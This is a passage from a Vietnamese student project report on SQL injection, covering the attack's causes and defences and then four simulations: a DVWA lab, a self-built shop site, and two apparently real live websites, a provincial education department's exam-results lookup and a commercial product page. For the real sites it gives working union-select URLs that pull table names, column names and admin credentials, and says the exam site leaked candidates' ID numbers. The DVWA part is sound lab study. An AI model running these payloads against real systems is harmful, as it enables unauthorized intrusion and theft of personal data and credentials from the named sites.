.Cách thức tấn công nhận biết SQL Injection

Một phần của tài liệu Đồ án mô phỏng tấn công SQL injection vào web server (Trang 29)

Mục tiêu của SQL Injection Attack (SQLIA) là thâm nhập vào hệ thống cơ sở dữ liệu để chạy mã inimical có thể tiết lộ thơng tin bí mật. Điều này được thực hiện bằng cách tiêm các truy vấn và biểu thức SQL dưới dạng một chuỗi đầu vào để đạt được truy cập trái phép. SQL injection là một mối đe dọa dẫn đến mức độ thỏa hiệp cao - thông thường khả năng chạy bất kỳ truy vấn cơ sở dữ liệu nào. Đây là cấp ứng dụng dựa trên web các cuộc tấn công kết nối với cơ sở dữ liệu phụ trợ và bỏ qua bức tường lửa. Ưu điểm của mã khơng an tồn và đầu vào khơng đảm bảo xác

thực bị kẻ tấn công che giấu để thực thi trái phép các lệnh SQL trên cơ sở của các cuộc tấn công chống lại hệ thống quản lý cơ sở dữ liệu.

Các cuộc tấn công SQL Injection chống lại cơ sở dữ liệu ứng dụng web phổ biến nhất là chèn mã.

Hình GIỚI THIỆU VỀ TẤN CƠNG SQL INJECTION-3: Tấn công chèn mã.

Tấn công chèn mã

Chèn mã là khi kẻ tấn công chèn cơ sở dữ liệu mới lệnh hoặc câu lệnh SQL thành câu lệnh của người dùng. Các thao tác liên quan đến việc sửa đổi câu lệnh SQL thông qua thiết lập các hoạt động hoặc thay đổi mệnh đề WHERE để trả về kết quả khác nhau. Khi kẻ tấn công đưa vào một chức năng tùy chỉnh hoặc chức năng đã tồn tại trong một câu lệnh SQL, loại tiêm được gọi là tiêm lệnh gọi hàm. Chúng được sử dụng để thao tác với dữ liệu trong cơ sở dữ liệu. Tràn bộ đệm là một tập hợp con của chức năng gọi tiêm. Trong một số ứng dụng thương mại lỗ hổng bảo mật tồn tại trong các chức năng cơ sở dữ liệu có thể dẫn đến tràn bộ nhớ.

Cách thức hoạt động của tấn công chèn mã

Với chèn mã có 2 ngun nhân chính của lỗ hổng trong ứng dụng cho phép thực hiện tấn công chèn mã SQL là:

 Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không được kiểm tra hoặc kiểm tra không kỹ lưỡng;

 Sử dụng các câu lệnh SQL động trong ứng dụng, trong đó có thao tác nối dữ liệu người dùng với mã lệnh SQL gốc.

Tập trung vào việc triển khai chức năng hơn là an ninh từ mơi trường bên trong và bên ngồi gây ra tính nhạy cảm trong các ứng dụng web. Chúng được mô tả là mối đe dọa nghiêm trọng nhất đối với ứng dụng web vì nó có thể cho phép kẻ tấn cơng để có quyền truy cập vào ứng dụng web và ứng dụng cơ bản và cơ sở dữ liệu. Kẻ tấn cơng có khả năng cải thiện hệ thống để trích xuất thơng tin nhạy cảm. Khai thác các sơ hở trong thiết kế vi phạm các nguyên tắc cơ bản của thơng tin bảo mật tức là tính bảo mật, tính tồn vẹn, tính xác thực và tính sẵn có của thơng tin. Thơng tin bị đánh cắp là mất mát của việc bảo mật, mất tính tồn vẹn diễn ra khi dữ liệu sửa đổi theo cách không mong muốn. Từ chối dịch vụ khi thơng tin bị xóa cho người dùng thật. Mất tính xác thực có nghĩa là khi thơng tin được truy cập bởi người dùng trái phép. Các cuộc tấn công này là các cuộc tấn công ở cấp độ ứng dụng khơng bị tường lửa che khuất. Thật khó để phát hiện SQL injection trước khi tác động của nó. Trong hầu hết các trường hợp hoạt động trái phép được thực hiện thông qua một người dùng hợp lệ thông tin đăng nhập để truy cập phần quan trọng của cơ sở dữ liệu web đăng kí. Các máy chủ cơ sở dữ liệu được thuyết phục rằng đã cho phép về mặt cú pháp, mã có giá trị như mã SQL. Các đầu vào do người dùng cung cấp, biểu mẫu truy vấn SQL động để truy cập cơ sở dữ liệu phụ trợ. Nếu những đầu vào này không được dọn dẹp thiết lập bảo mật tốt, chúng có thể khiến ứng dụng web tạo kết quả đầu ra ngoài ý muốn. Thực tế cơ bản là SQL là các cuộc tấn công tiêm nhiễm rất dễ thực hiện mà khơng cần có sự đào tạo chun nghiệp.

2.1.5. Phịng tránh tấn cơng SQL Injection Các biện pháp phòng tránh

Để phòng thủ và bảo mật ngừa tấn cơng SQL Injection ta thực hiện các biện pháp sau:

• Lọc dữ liệu từ người dùng: Luôn luôn kiểm tra kỹ các trường nhập dữ liệu và ràng buộc thật kỹ khi user nhập vào, có thể sử dụng filter để lọc ra những kí tự đặc biệt (; “ ‘) hay các từ khóa (SELECT, UNION) do người dùng nhập vào. Sử dụng các thư viện/function của framework cung cấp, hạn chế code thuần tối đa.

• Khơng cộng chuỗi tạo SQL: sử dụng parameter thay vì cộng chuỗi. SQL Engine sẽ tự động báo lỗi khi dữ liệu truyền vào không hợp lệ, nên khơng cần dùng code để kiểm tra.

Hình GIỚI THIỆU VỀ TẤN CƠNG SQL INJECTION-4: Mơ tả bảo mật SQL Injection.

• Khơng hiển thị exception, message lỗi: thông thường kẻ xâm nhập sẽ dựa vào message lỗi để tìm được cấu trúc database. Khi có lỗi ta chỉ nên hiển thị thơng báo của lỗi đó, khơng nên hiển thị chi tiết thơng tin của lỗi, tránh việc bị lợi dụng khai thác lỗ hổng.

• Phân quyền rõ ràng trong database: nếu truy cập dữ liệu từ một số bảng hãy tạo một tài khoản trong database, rồi gán quyền truy cập cho tài khoản mới, không nên dùng tài khoản root hay sa. Đề phịng hacker có thể khai thác được SQL cũng khơng thể đọc, chỉnh sửa hay xóa dữ liệu trong các bảng chính.

CHƯƠNG 3: TRIỂN KHAI TẤN CƠNG SQL INJECTION VÀO WEB SERVER

3.1.Mơ phỏng 1

3.1.1 Môi trường thực hiện: DVWA

a) Giới thiệu môi trường thực hiện:

DVWA được viết tắt bởi Damn Vulnerable Web Application là một ứng dụng mã

nguồn PHP/MySQL, có thể tạo mơi trường thực hành bằng các cài đặt dịch vụ “XAMPP” trên cả Linux hoặc Windows hoặc cài đặt hệ thống Web Server LAMP/LEMP trên CentOS/Ubuntu để tiến hành thực nghiệm nhanh chóng.

Mục tiêu chính của DVWA là tạo ra một môi trường thực hành hacking/pentest một các hợp pháp. Giúp các nhà phát triển ứng dụng Web hiểu hơn về lập trình an tồn và bảo mật giảm thiểu tối đa về các thiệt hại khi lập trình.

Tính năng đa dạng được tập hợp sẵn các lỗi về bảo mật ứng dụng Web trong mã nguồn PHP, có mức độ từ cơ bản đến nâng cao phù hợp với cấp bậc Giảng viên hay Sinh viên đều có thể thực hiện.

b) Mơ phỏng tấn công

Truy cập vào Xampp tại cổng Apache và MySQL nhấn Start để khởi động chương trình.

Hình 3-1: Khởi động XAMPP

Chọn trình duyệt browser bất kì trên thanh tìm kiếm gõ tên localhost trên thiết bị đã đặt tên rồi nhấn Enter đến trang login và đăng nhập với tài khoản admin có sẵn:

User: admin

Hình 3-2: Đăng nhập DVWA

Đăng nhập thành cơng với tư cách quản trị là admin

Hình 3-3: Đăng nhập thành công

Hình 3-4: Thiết lập chế độ bảo mật

Hình 3-5: Thiết lập chế độ bảo mật thành công.

Thiết lập thành công chế độ bảo mật Low nhấn vào SQL Injection để bắt đầu thực hành.

Sau khi nhấp chuột vào tác vụ SQL Injection sẽ hiện ra trường input và bắt đầu thực hiện mô phỏng tấn công.

Để bắt đầu khai thác thông tin trên ứng dụng ta sử dụng câu lệnh để thay đổi truy vấn database thanh luôn đúng với mã code đơn giản.

Hình 3-6: Khai thác dữ liệu

Sau khi sử dụng mã code [‘or 1=1-- -] giá trị trả về là một số thông tin tài khoản người dùng First Name, Last Name.

Tiếp tục sử dụng những mã code SQL khác để khai thác thông tin của User, phiên bản của database, tên cơ sở dữ liệu hay cổng truy cập My SQL.

Với các câu lệnh lần lượt: ['union select 1,version()-- -], ['union select 1,user()-- -], ['union select 1,database()-- -], ['union select 1,@@port-- -] ta thu được các thông tin tương ứng là: Phiên bản, User localhost, database và cổng truy cập My SQL trên ứng dụng DVWA.

Hình 3-7: Khai thác dữ liệu (user localhost)

Hình 3-9: Khai thác dữ liệu (Database DVWA)

Để khai thác một số thông tin quan trọng hơn ta sử dụng toán tử UNION. Thực hiện lấy CSDL trong My SQL bằng câu lệnh:

['UNION select table_schema,null from information_schema.tables-- -]

Đồng thời truy cập vào PHPMyAdmin của DVWA để đối chiếu, giá trị thu được là toàn bộ cơ sở dữ liệu của DVWA.

Hình 3-10: Khai thác dữ liệu (CSDL DVWA)

Tiếp theo, thực hiện khai thác các bảng có trong CSDL của DVWA bằng câu lệnh: ['UNION select table_name,null from information_schema.tables where table_schema='dvwa'-- -]

Hình 3-11: Khai thác dữ liệu (Các bảng trong mục dvwa)

Giá trị trả về là hai bảng của DVWA là : guestbook và user.

Từ bảng user ta khai thác các cột thơng tin trong đó bằng câu lệnh: ['UNION select table_name ,column_name from information_schema.columns where table_name='user'-- -]

Hình 3-12: Khai thác dữ liệu (các cột có trong bảng user)

Cần khai thác thông tin tài khoản người dùng và mật khẩu trong các cột này để lấy quyền truy cập. Sử dụng câu lệnh: ['UNION select user,password from users-- -].

Hình 3-13: Các tài khoản người dùng thu được

Giá trị trả về hoàn toàn trùng khớp với cơ sở dữ liệu của DVWA.

Để đăng nhập tư cách quản trị là thông tin người dùng vừa khai thác được ta giải mã password ra bản rõ rồi tiến hành đăng nhập.

Chọn tài khoản người dùng pablo giải mã mật khẩu người dùng thu được mật khẩu là letmein tiến hành đăng nhập.

Hình 3-15: Đăng nhập trên dữ liệu tìm được

Đăng nhập thành công với tư cách quản trị là người dùng pablo. Hồn thành q trình khai thác dữ liệu, tấn cơng SQL Injection

3.2. Mô phỏng 2

Môi trường thực hiện: Khai thác lỗi website thực tế.

Website thực hiện: https://sgd.bacgiang.gov.vn/

Tiến hành khai thác dữ liệu: Lưu ý không thực hiện hành động thông tin xâm

phạm thông tin dữ liệu cá nhân hay tổ chức nào khi chưa được sự cho phép. Lời cam đoan: Người thực hiện cam đoan không công khai hay sử dụng dữ liệu thu được vào mục đích xấu, trục lợi cá nhân.

Trên thanh navigation của trang web https://sgd.bacgiang.gov.vn/ chọn tab ‘TRA CỨU’ và chọn ‘ĐIỂM THI’.

Hình 3-16: Trang chủ SGD Bắc Giang.

Nhập vào trường input dữ liệu cần tìm như Tên và Số Báo Danh, Năm hay Kỳ thi cần chọn.

Hình 3-17: Tra cứu điểm thi bằng số báo danh.

Nhập số báo danh 18002311 năm 2021 với dữ liệu cần tìm là Điểm thi tốt nghiệp THPT năm 2021(Đợt 2)

Thu được dữ liệu như hình.

Đặc biệt thu được dữ liệu quan trọng là: Số CMND/CCCD.

Dùng câu lệnh truy vấn ‘or’’=’ giá trị trả về sẽ là tất cả dữ liệu của kì thi đó thay vì giới hạn trả về một giá trị thường thấy.

Hình 3-20: Thơng tin tất cả thí sinh sau khi khai thác lỗ hổng SQL Injection(2)

Như vậy, dữ liệu sẽ vơ tình bị đánh cắp và phục vụ cho mục đích xấu nếu khơng được bảo mật kịp thời gây thất thốt dữ liệu.

3.3. Mơ phỏng 3

Mơi trường thực hiện: Xây dựng website mô phỏng hậu quả tấn công SQL Injection.

Tiến hành khai thác dữ liệu: Lưu ý không thực hiện hành động thông tin xâm

phạm thông tin dữ liệu cá nhân hay tổ chức nào khi chưa được sự cho phép. Lời cam đoan: Người thực hiện cam đoan không công khai hay sử dụng dữ liệu thu được vào mục đích xấu, trục lợi cá nhân.

Hình 3-21: Trang chủ website bán hàng

Xây dựng một website bán hàng với một số chức năng cần thiết để phục vụ thao tác tấn công dữ liệu SQL.

Hình 3-22: Thông tin trang bán hàng

Tiếp theo, đăng nhập bằng tài khoản và mật khẩu bất kì hệ thống sẽ trả về : Đăng nhập thất bại.

Hình 3-23: Đăng nhập thông tin tài khoản bất kì

Hình 3-24: Vượt qua đăng nhập bằng câu lệnh SQL.

Hình 3-25: Sử dụng quyền truy cập Administrator.

Ngay sau khi vượt qua đăng nhập, url sẽ chuyển sang trang quản trị Administrator chứa nhiều các dữ liệu quan trọng như các ngành hàng, thông tin sản phẩm.

Với quyền truy cập của Admin có thể tự do sử dụng các tính năng mà người quản trị xây dựng như thêm hay sửa xóa các sản phẩm.

Hình 3-26: Thêm sửa xóa mơ tả sản phẩm

Có thể thêm sản phảm, mã sản phẩm, giá sản phẩm và được cập nhật ngay trên kênh bán hàng.

Hình 3-27: Thêm sản phẩm thành cơng.

Và sửa sản phẩm hay xóa sản phẩm cũng khơng mang lại khó khăn.

Hình 3-28: Truy cập thơng tin người dùng

Thông tin người dùng cũng dễ dàng được lấy ra và có thể thay đổi thơng tin người dùng và đăng nhập dưới thông tin người dùng vừa khai thác được.

Hình 3-29: Thay đổi thông tin người dùng

Trong thực tế, đối với những website còn tồn đọng những lỗi SQL Injection thì đó là những hạn chế rất lớn đối với doanh nghiệp thông tin quản trị bị đánh cắp, ảnh hưởng đến doanh thu và lợi nhuận là điều kiện tất yếu cho sự phát triển của doanh nghiệp đó.

Để hạn chế tổn thất dữ liệu khi cuộc tấn công SQL Injection xảy ra bằng việc vượt qua đăng nhập có thể sử dụng một số biện pháp như là :

Sử dụng các hàm hỗ trợ mysql_real_escape_string (MySQL), hay pg_escape_string (PostgreSQL).

Đối với các hệ quản trị cơ sở dữ liệu khơng có các hàm xử lý các kí tự đặc biệt thì có thể dùng chính các hàm hỗ trợ trong ngơn ngữ lập trình để xử lý như adslashes của PHP.

3.4 Mơ phỏng 4

Môi trường thực hiện: Khai thác lỗi website thực tế.

Website thực hiện:

https://www.mayinchuyennhiet.vn/?php=product_detail&id=306

Tiến hành khai thác dữ liệu: Lưu ý không thực hiện hành động thông tin xâm

phạm thông tin dữ liệu cá nhân hay tổ chức nào khi chưa được sự cho phép. Lời cam đoan: Người thực hiện cam đoan không công khai hay sử dụng dữ liệu thu được vào mục đích xấu, trục lợi cá nhân.

Truy cập vào trang web:

https://www.mayinchuyennhiet.vn/?php=product_detail&id=306 và kiểm tra chỗ yếu của website bằng cách thêm kí tự ‘ vào sau url.

Hình 3-30: Trang chủ website khai thác thông tin.

Trang chủ website sau khi thêm kí tự đặc biệt “ ’ ” sẽ xuất hiện biểu thị lỗi SQL cho phép có thể tấn cơng SQL Injection.

Hình 3-31: Kiểm tra độ mạnh của trang web.

Tiếp theo, để khai thác các thông tin các bảng trong Database ta cần dò các cột và những cột bị lỗi để trả về khi đưa vào các câu lệnh để tấn công trang web bằng các câu lệnh order by và select.

Hình 3-32: Tìm các cột bị lỗi trong website.

Sau khi thêm câu lệnh select kết quả trả về cột số 4 bị lỗi. Có thể khai thác một số thơng tin như tên database, user localhost, version của website.

Hình 3-33: Tên user localhost.

Hình 3-35: Version website.

Để khai thác một số thơng tin quan trọng hơn ta có thể dùng câu lệnh select cụ thể là: https://www.mayinchuyennhiet.vn/?php=product_detail&id=-306%20union %20select %201,2,3,unhex(hex(group_concat(table_name))),5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26%20from%20information_schema.tables %20where%20table_schema=database()

Hình 3-36: Thông tin các bảng trong database.

Dữ liệu nhận được sau khi tấn công là các bảng trong Database:

Tbl_config,tbl_content,tbl_content_category,tbl_product,tbl_product_category,tbl_p roduct_hot,tbl_product_new,tbl_product_special,tbl_user,tbl_visitor.

Sau khi thu thập được dữ liệu các bảng trong database, tiếp tục khai thác các dữ liệu trong cột bằng câu lệnh: https://www.mayinchuyennhiet.vn/?php=product_detail&id=-306%20union %20select %201,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26%20from%20information_schema.columns %20where%20table_schema=database()

Hình 3-37: Thơng tin các cột trong database. Thu được: id,code,name,detail,date_added,last_modified,id,code,name_vn,name_en,parent,det ail_short_vn,detail_short_en,detail_vn,detail_en,cot1_vn,cot1_en,cot2_vn,cot2_en,c ot3_vn,cot3_en,image_vn,image_en,image_large_vn,image_large_en,sort,status,ne w,date_added,last_modified,lang,id,code,name,parent,detail_short,detail,image,ima ge_large,sort,status,date_added,last_modified,lang,id,code,price,name_vn,name_en, parent,maker,mother,babyone,babytwo,subject_vn,subject_en,detail_short_vn,detail _short_en,detail_vn,detail_en,image,image_large,image_largeb,image_largec,image _larged,sort,status,date_added,last_modified,lang,id,code,name_vn,name_en,parent, detail_short_vn,detail_short_en,detail_vn,detail_en,image_vn,image_en,image_larg e_vn,image_large_en,sort,status,date_added,last_modified,lang,color,new,id,produc t_id,sort,status,date_added,last_modified,lang,id,product_id,sort,status,date_added,l ast_modified,lang,id,product_id,sort,status,date_added,last_modified,lang,id,uid,pw d,cat_id,session_id,activity,member,ip_address,url,user

Xác định các thông tin quan trọng của người dùng như tài khoản và mật khẩu nằm trong bảng tbl_user

https://www.mayinchuyennhiet.vn/?php=product_detail&id=-306%20union %20select

%201,2,3,unhex(hex(group_concat(uid,0x3a,pwd,0x3a))),5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26%20from%20tbl_user

Hình 3-38: Thông tin tài khoản mật khẩu người quản trị.

Một phần của tài liệu Đồ án mô phỏng tấn công SQL injection vào web server (Trang 29)

Tải bản đầy đủ (DOC)

(64 trang)
w